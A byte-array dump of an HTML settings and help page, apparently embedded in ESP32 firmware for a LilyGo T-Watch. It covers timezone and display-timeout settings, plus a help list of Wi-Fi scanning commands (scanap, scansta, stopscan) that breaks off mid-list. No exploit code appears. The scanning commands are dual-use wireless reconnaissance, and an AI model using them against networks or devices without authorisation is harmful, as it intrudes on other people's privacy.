0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, 0x20, 0x41, 0x64, 0x64, 0x69, 0x74, + 0x69, 0x6F, 0x6E, 0x61, 0x6C, 0x20, 0x50, 0x61, 0x63, 0x69, 0x66, 0x69, + 0x63, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x7A, 0x6F, 0x6E, 0x65, 0x73, 0x20, + 0x2D, 0x2D, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, + 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, + 0x4E, 0x5A, 0x53, 0x54, 0x2D, 0x31, 0x32, 0x4E, 0x5A, 0x44, 0x54, 0x2C, + 0x4D, 0x39, 0x2E, 0x35, 0x2E, 0x30, 0x2C, 0x4D, 0x34, 0x2E, 0x31, 0x2E, + 0x30, 0x2F, 0x33, 0x22, 0x3E, 0x4E, 0x65, 0x77, 0x20, 0x5A, 0x65, 0x61, + 0x6C, 0x61, 0x6E, 0x64, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x28, 0x4E, + 0x5A, 0x53, 0x54, 0x2F, 0x4E, 0x5A, 0x44, 0x54, 0x29, 0x3C, 0x2F, 0x6F, + 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, + 0x65, 0x3D, 0x22, 0x46, 0x4A, 0x54, 0x2D, 0x31, 0x32, 0x22, 0x3E, 0x46, + 0x69, 0x6A, 0x69, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x28, 0x46, 0x4A, + 0x54, 0x29, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x21, 0x2D, 0x2D, 0x20, 0x45, 0x78, 0x69, 0x73, 0x74, 0x69, 0x6E, 0x67, + 0x20, 0x4F, 0x74, 0x68, 0x65, 0x72, 0x20, 0x43, 0x6F, 0x6D, 0x6D, 0x6F, + 0x6E, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x7A, 0x6F, 0x6E, 0x65, 0x73, 0x20, + 0x2D, 0x2D, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, + 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, + 0x49, 0x53, 0x54, 0x2D, 0x35, 0x3A, 0x33, 0x30, 0x22, 0x3E, 0x49, 0x6E, + 0x64, 0x69, 0x61, 0x20, 0x53, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x72, 0x64, + 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x28, 0x49, 0x53, 0x54, 0x29, 0x3C, + 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, + 0x6C, 0x75, 0x65, 0x3D, 0x22, 0x47, 0x4D, 0x54, 0x30, 0x42, 0x53, 0x54, + 0x2C, 0x4D, 0x33, 0x2E, 0x35, 0x2E, 0x30, 0x2F, 0x31, 0x2C, 0x4D, 0x31, + 0x30, 0x2E, 0x35, 0x2E, 0x30, 0x2F, 0x32, 0x22, 0x3E, 0x42, 0x72, 0x69, + 0x74, 0x69, 0x73, 0x68, 0x20, 0x53, 0x75, 0x6D, 0x6D, 0x65, 0x72, 0x20, + 0x54, 0x69, 0x6D, 0x65, 0x20, 0x28, 0x47, 0x4D, 0x54, 0x2F, 0x42, 0x53, + 0x54, 0x29, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, + 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, 0x43, 0x45, 0x54, 0x2D, + 0x31, 0x43, 0x45, 0x53, 0x54, 0x2C, 0x4D, 0x33, 0x2E, 0x35, 0x2E, 0x30, + 0x2C, 0x4D, 0x31, 0x30, 0x2E, 0x35, 0x2E, 0x30, 0x2F, 0x33, 0x22, 0x3E, + 0x43, 0x65, 0x6E, 0x74, 0x72, 0x61, 0x6C, 0x20, 0x45, 0x75, 0x72, 0x6F, + 0x70, 0x65, 0x61, 0x6E, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x28, 0x43, + 0x45, 0x54, 0x2F, 0x43, 0x45, 0x53, 0x54, 0x29, 0x3C, 0x2F, 0x6F, 0x70, + 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, + 0x3D, 0x22, 0x4A, 0x53, 0x54, 0x2D, 0x39, 0x22, 0x3E, 0x4A, 0x61, 0x70, + 0x61, 0x6E, 0x20, 0x53, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x72, 0x64, 0x20, + 0x54, 0x69, 0x6D, 0x65, 0x20, 0x28, 0x4A, 0x53, 0x54, 0x29, 0x3C, 0x2F, + 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, + 0x75, 0x65, 0x3D, 0x22, 0x43, 0x53, 0x54, 0x2D, 0x38, 0x22, 0x3E, 0x43, + 0x68, 0x69, 0x6E, 0x61, 0x20, 0x53, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x72, + 0x64, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x28, 0x43, 0x53, 0x54, 0x29, + 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x2F, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, + 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, + 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x64, + 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x5F, 0x74, 0x69, 0x6D, 0x65, 0x6F, + 0x75, 0x74, 0x22, 0x3E, 0x4C, 0x69, 0x6C, 0x79, 0x47, 0x6F, 0x20, 0x54, + 0x2D, 0x57, 0x61, 0x74, 0x63, 0x68, 0x20, 0x44, 0x69, 0x73, 0x70, 0x6C, + 0x61, 0x79, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x6F, 0x75, 0x74, 0x20, 0x28, + 0x6D, 0x73, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, + 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, + 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, + 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, + 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x53, 0x65, 0x74, 0x20, + 0x68, 0x6F, 0x77, 0x20, 0x6C, 0x6F, 0x6E, 0x67, 0x20, 0x62, 0x65, 0x66, + 0x6F, 0x72, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x64, 0x69, 0x73, 0x70, + 0x6C, 0x61, 0x79, 0x20, 0x74, 0x75, 0x72, 0x6E, 0x73, 0x20, 0x6F, 0x66, + 0x66, 0x20, 0x77, 0x68, 0x65, 0x6E, 0x20, 0x69, 0x6E, 0x61, 0x63, 0x74, + 0x69, 0x76, 0x65, 0x20, 0x28, 0x31, 0x30, 0x30, 0x30, 0x2D, 0x36, 0x30, + 0x30, 0x30, 0x30, 0x20, 0x6D, 0x73, 0x29, 0x3C, 0x2F, 0x73, 0x70, 0x61, + 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, + 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, + 0x70, 0x65, 0x3D, 0x22, 0x6E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x22, 0x20, + 0x69, 0x64, 0x3D, 0x22, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x5F, + 0x74, 0x69, 0x6D, 0x65, 0x6F, 0x75, 0x74, 0x22, 0x20, 0x6D, 0x69, 0x6E, + 0x3D, 0x22, 0x31, 0x30, 0x30, 0x30, 0x22, 0x20, 0x6D, 0x61, 0x78, 0x3D, + 0x22, 0x36, 0x30, 0x30, 0x30, 0x30, 0x22, 0x20, 0x73, 0x74, 0x65, 0x70, + 0x3D, 0x22, 0x31, 0x30, 0x30, 0x30, 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, + 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x31, 0x30, 0x30, + 0x30, 0x20, 0x2D, 0x20, 0x36, 0x30, 0x30, 0x30, 0x30, 0x20, 0x6D, 0x73, + 0x22, 0x20, 0x72, 0x65, 0x71, 0x75, 0x69, 0x72, 0x65, 0x64, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, + 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, + 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x6F, 0x6E, 0x63, + 0x6C, 0x69, 0x63, 0x6B, 0x3D, 0x22, 0x73, 0x61, 0x76, 0x65, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x28, 0x29, 0x22, 0x3E, 0x53, 0x61, + 0x76, 0x65, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x3C, + 0x2F, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, + 0x2D, 0x2D, 0x20, 0x48, 0x65, 0x6C, 0x70, 0x20, 0x54, 0x61, 0x62, 0x20, + 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x2D, 0x2D, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, + 0x76, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x48, 0x65, 0x6C, 0x70, 0x22, 0x20, + 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x61, 0x62, 0x63, 0x6F, + 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, + 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, 0x65, 0x74, + 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x67, 0x72, 0x69, 0x64, 0x22, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, + 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, + 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x22, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x68, + 0x32, 0x3E, 0x45, 0x53, 0x50, 0x33, 0x32, 0x20, 0x43, 0x6F, 0x6D, 0x6D, + 0x61, 0x6E, 0x64, 0x73, 0x3C, 0x2F, 0x68, 0x32, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x75, 0x6C, 0x20, 0x63, + 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x68, 0x65, 0x6C, 0x70, 0x2D, 0x6C, + 0x69, 0x73, 0x74, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, + 0x3E, 0x68, 0x65, 0x6C, 0x70, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, + 0x67, 0x3E, 0x3A, 0x20, 0x44, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x20, + 0x74, 0x68, 0x69, 0x73, 0x20, 0x68, 0x65, 0x6C, 0x70, 0x20, 0x6D, 0x65, + 0x73, 0x73, 0x61, 0x67, 0x65, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, + 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, + 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x68, 0x65, + 0x6C, 0x70, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, + 0x73, 0x63, 0x61, 0x6E, 0x61, 0x70, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, + 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x61, + 0x20, 0x57, 0x69, 0x2D, 0x46, 0x69, 0x20, 0x61, 0x63, 0x63, 0x65, 0x73, + 0x73, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x20, 0x28, 0x41, 0x50, 0x29, + 0x20, 0x73, 0x63, 0x61, 0x6E, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, + 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, + 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x73, 0x63, + 0x61, 0x6E, 0x61, 0x70, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, + 0x67, 0x3E, 0x73, 0x63, 0x61, 0x6E, 0x73, 0x74, 0x61, 0x3C, 0x2F, 0x73, + 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, + 0x74, 0x20, 0x73, 0x63, 0x61, 0x6E, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x66, + 0x6F, 0x72, 0x20, 0x57, 0x69, 0x2D, 0x46, 0x69, 0x20, 0x73, 0x74, 0x61, + 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, + 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, + 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x73, 0x63, + 0x61, 0x6E, 0x73, 0x74, 0x61, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, + 0x6E, 0x67, 0x3E, 0x73, 0x74, 0x6F, 0x70, 0x73, 0x63, 0x61, 0x6E, 0x3C, + 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x53, 0x74, + 0x6F, 0x70, 0x20, 0x61, 0x6E, 0x79, 0x20, 0x6F, 0x6E, 0x67, 0x6F, 0x69, + 0x6E, 0x67, 0x20, 0x57, 0x69, 0x2D, 0x46, 0x69, 0x20, 0x73, 0x63, 0x61, + 0x6E, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, + 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, + 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x73, 0x74, 0x6F, 0x70, 0x73, 0x63, + 0x61, 0x6E, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 